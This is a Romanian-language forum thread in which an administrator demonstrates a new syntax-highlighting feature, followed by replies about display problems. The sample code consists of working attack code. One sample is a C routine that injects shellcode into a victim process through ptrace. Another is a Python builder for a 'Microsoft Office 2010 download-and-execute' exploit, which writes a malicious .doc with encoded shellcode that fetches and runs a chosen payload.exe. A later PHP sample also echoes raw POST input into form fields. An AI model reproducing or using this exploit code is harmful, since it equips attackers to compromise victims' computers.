Jump to content
Nytro

Syntax highlight v0.1

Recommended Posts

Posted (edited)

E prima incercare de a pune syntax highlight pe forum. Sper sa fie ok.

Deocamdata nu e complet functional: la Edit Post/Quick reply post nu vor aparea colorate, sper sa rezolv asta maine.

Cum folositi:

[limbaj] COD [/limbaj]

Unde limbaj poate fi:

- Java

- Cpp

- Bash

- CSharp

- CSS

- Delphi

- Diff

- JS

- Perl

- Plain

- Python

- SQL

- VB

- XML

Pentru PHP folositi "phpcode", PHP exista deja in vBulletin.

Exemplu (fara spatii):


[ CPP ]#include "stdio.h"

int main()
{
puts("Syntax highlight!");
return 0;
}
[ /CPP ]

Rezultat:

#include "stdio.h"

int main()

{

puts("Syntax highlight!");

return 0;

}

Exemple reale:

CPP:

void putcode(unsigned long * dst)

{

char buf[MAXPATHLEN + CODE_SIZE];

unsigned long * src;

int i, len;

memcpy(buf, cliphcode, CODE_SIZE);

len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);

if (len == -1)

fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE;

buf[len++] = '\0';

src = (unsigned long*) buf;

for (i = 0; i < len; i += 4)

if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)

fatal("[-] Unable to write shellcode");

}

Python:

import binascii

import sys

import time

print "Microsoft Office 2010, download -N- execute "

print " What do you want to name your .doc ? "

print " Example: TotallyTrusted.doc "

filename = raw_input()

print " What is the link to your .exe ? "

print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe "

url = raw_input()

print "Gears and Cranks working mag1c in the background "

time.sleep(3)

close="{}}}}}"

binme=binascii.b2a_hex(url)

file=('e1xydGYxbnNpbnNpY3BnMTI1MlxkZWZmMFxkZWZsYW5nMTAzM3sNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb250dGJsew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXNzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGFyc2V0MCBBcmlhbDt9fXtcKlxnZW5lcmF0b3IgTXNmdGVkaXQgNS40MS4xNS4xNTA3O30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlld2tpbmQ0XHVjMVxwYXJkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMyMCBwYXJkXGYwXGZzXHBhci90YWJccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5ccGFyLlxwYXIuXHBhci5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DhiNzYwYzhiNzYxYzhiNWUwODhiN2UyMDhiMzY2NjM5NGYxODc1ZjJjMzYwOGI2YzI0MjQ4YjQ1M2M4YjU0MDU3ODAxZWE4YjRhMTg4YjVhMjAwMWViZTMzNDQ5OGIzNDhiMDFlZTMxZmYzMWMwZmNhYzg0YzA3NDA3YzFjZjBkMDFjN2ViZjQzYjdjMjQyODc1ZTE4YjVhMjQwMWViNjY4YjBjNGI4YjVhMWMwMWViOGIwNDhiMDFlODg5NDQyNDFjNjFjM2U4OTJmZmZmZmY1ZjgxZWY5OGZmZmZmZmViMDVlOGVkZmZmZmZmNjg4ZTRlMGVlYzUzZTg5NGZmZmZmZjMxYzk2NmI5NmY2ZTUxNjg3NTcyNmM2ZDU0ZmZkMDY4MzYxYTJmNzA1MGU4N2FmZmZmZmYzMWM5NTE1MThkMzc4MWM2ZWVmZmZmZmY4ZDU2MGM1MjU3NTFmZmQwNjg5OGZlOGEwZTUzZTg1YmZmZmZmZjQxNTE1NmZmZDA2ODdlZDhlMjczNTNlODRiZmZmZmZmZmZkMDYzNmQ2NDJlNjU3ODY1MjAyZjYzMjAyMDYxMmU2NTc4NjUwMA==\n')

textfile = open(filename , 'w')

textfile.write(file.decode('base64')+binme+close)

textfile.close()

time.sleep(3)

print "enjoy"

E posibil sa fie si alte probleme, verificati daca este totul in regula si postati aici daca e vreo problema.

Edited by Nytro
Posted (edited)

Syntax highlighting nu inseamna colorarea textului? Exemplele tale sunt doar texte standard, aliniate frumos, deci ceva nu merge.

LE: Se pare ca e doar pe tema "RST Beta Style". Pe celelalte nu e...:(

Edited by AlStar
Posted

Testat pe Firefox, Chrome, IE si merge ok. Da, ar trebui sa apara colorata, la mine e totul ok.

Vezi Tools > Developer > Web console si erorile de JS sau Net.

PS: DOAR TEMA RST! Nu merge pe tema Default, deocamdata.

Posted (edited)

E deja cel din vBulletin. Sa vad daca se poate schimba.

[ phpcode ]

<?php

if($_POST['formSubmit'] == "Submit")

{

$varMovie = $_POST['formMovie'];

$varName = $_POST['formName'];

}

?>

<form action="myform.php" method="post">

Which is your favorite movie?

<input type="text" name="formMovie" maxlength="50" value="<?=$varMovie;?>">

What is your name?

<input type="text" name="formName" maxlength="50" value="<?=$varName;?>">

<input type="submit" name="formSubmit" value="Submit">

</form>

Nu se poate schimba, cel putin pana acum nu pare sa mearga, desi i-am dat Disable.

Folositi "phpcode".

Info: Dublu click pe cod pentru a da Copy.

Edited by Nytro

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...